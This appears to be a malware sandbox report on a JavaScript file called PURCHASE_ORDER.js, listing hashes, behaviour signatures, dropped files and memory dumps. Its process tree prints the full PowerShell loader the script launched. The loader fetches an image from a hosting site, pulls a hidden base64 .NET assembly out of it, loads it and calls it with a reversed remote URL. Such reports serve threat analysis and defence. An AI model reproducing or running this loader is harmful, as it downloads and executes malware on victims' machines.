e8c22513e962d944212a2570a29a43fd2e6e90d74913f5db2b5f11443504db1d

General

Target

PURCHASE_ORDER.js
Size

16KB
MD5

5173d26d1ad641d21a4e46578c8ce893
SHA1

93fa6b081e5ef1b262b2497be0ec7ec8be766c20
SHA256

e8c22513e962d944212a2570a29a43fd2e6e90d74913f5db2b5f11443504db1d
SHA512

8df3b7d0c5b41675eaae029688c1cf964d58b66c558e16a528d143c3559d60dfcf4da5c44cb7b112a9123e7dc49e460e99cf862f6b743e1691804f78b89b349c
SSDEEP

192:P42HOwZ0qshWZ7Va6uadY7Va630PpMx2GjdJZu8HheVkiVUT:P42HO+0ApuPEP+28M8HheWz

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 5 IoCs

flow	pid	Process
4	2804	wscript.exe
7	2804	wscript.exe
10	2536	powershell.exe
12	2536	powershell.exe
14	2536	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2536	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2536	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2804 wrote to memory of 2536	2804	wscript.exe	28
PID 2804 wrote to memory of 2536	2804	wscript.exe	28
PID 2804 wrote to memory of 2536	2804	wscript.exe	28

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\PURCHASE_ORDER.js
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2804
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/731/991/original/new_image.jpg?1707144482', 'https://uploaddeimagens.com.br/images/004/731/991/original/new_image.jpg?1707144482'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.4848/541.93.321.39//:ptth' , 'desativado' , 'C:\Windows\Temp\' , 'File_Name_JS'))}}
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2536

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

Filesize
68KB

MD5
29f65ba8e88c063813cc50a4ea544e93

SHA1
05a7040d5c127e68c25d81cc51271ffb8bef3568

SHA256
1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

SHA512
e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
443cdfee00cc2cef5b50314c5457058a

SHA1
2d59e0ae2d64d0d85f7785cea41e2b555a0fbd1d

SHA256
0e3d706ff92b3383fc0bb7830b2b5d1ac33d8f2fec35ddff093b07e76291b981

SHA512
3e49bd31357ce0ec7dfa5f5c817e52feb60c13605c352415e97b270cec9a73754c7a70216ab7d61c77e7ba9db56d9ef8d0c830663e416923d42a594e8bc700ad

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
e3f50b88f6b295cea04d42bfb997cfca

SHA1
b7dc67308db374357384a28e553c57b41b452950

SHA256
f8b375421845b9bed97b01462f009dafef7074954c07b6a95b910fb2b4587542

SHA512
ac9f876662f23db3aed087f39bb99308eb013621692c1381838588283fd36972e97c5a4fba577cdc713ae0c6c0ee0e10a996f27b91df312a5705f31762c3bc6c

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab8F83.tmp

Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar8FB5.tmp

Filesize
171KB

MD5
9c0c641c06238516f27941aa1166d427

SHA1
64cd549fb8cf014fcd9312aa7a5b023847b6c977

SHA256
4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

SHA512
936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar90D4.tmp

Filesize
177KB

MD5
435a9ac180383f9fa094131b173a2f7b

SHA1
76944ea657a9db94f9a4bef38f88c46ed4166983

SHA256
67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

SHA512
1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

Download Submit
memory/2536-28-0x00000000023E0000-0x00000000023E8000-memory.dmp

Filesize
32KB

Download
memory/2536-100-0x0000000002720000-0x00000000027A0000-memory.dmp

Filesize
512KB

Download
memory/2536-24-0x0000000002720000-0x00000000027A0000-memory.dmp

Filesize
512KB

Download
memory/2536-29-0x0000000002720000-0x00000000027A0000-memory.dmp

Filesize
512KB

Download
memory/2536-27-0x0000000002720000-0x00000000027A0000-memory.dmp

Filesize
512KB

Download
memory/2536-23-0x000007FEF5420000-0x000007FEF5DBD000-memory.dmp

Filesize
9.6MB

Download
memory/2536-26-0x000000001B1F0000-0x000000001B4D2000-memory.dmp

Filesize
2.9MB

Download
memory/2536-102-0x0000000002720000-0x00000000027A0000-memory.dmp

Filesize
512KB

Download
memory/2536-25-0x000007FEF5420000-0x000007FEF5DBD000-memory.dmp

Filesize
9.6MB

Download
memory/2536-101-0x0000000002720000-0x00000000027A0000-memory.dmp

Filesize
512KB

Download
memory/2536-97-0x000007FEF5420000-0x000007FEF5DBD000-memory.dmp

Filesize
9.6MB

Download
memory/2536-98-0x0000000002720000-0x00000000027A0000-memory.dmp

Filesize
512KB

Download
memory/2536-99-0x000007FEF5420000-0x000007FEF5DBD000-memory.dmp

Filesize
9.6MB

Download
memory/2804-16-0x000007FEF51A0000-0x000007FEF5B3D000-memory.dmp

Filesize
9.6MB

Download
memory/2804-18-0x0000000004300000-0x0000000004380000-memory.dmp

Filesize
512KB

Download
memory/2804-17-0x000007FEF51A0000-0x000007FEF5B3D000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing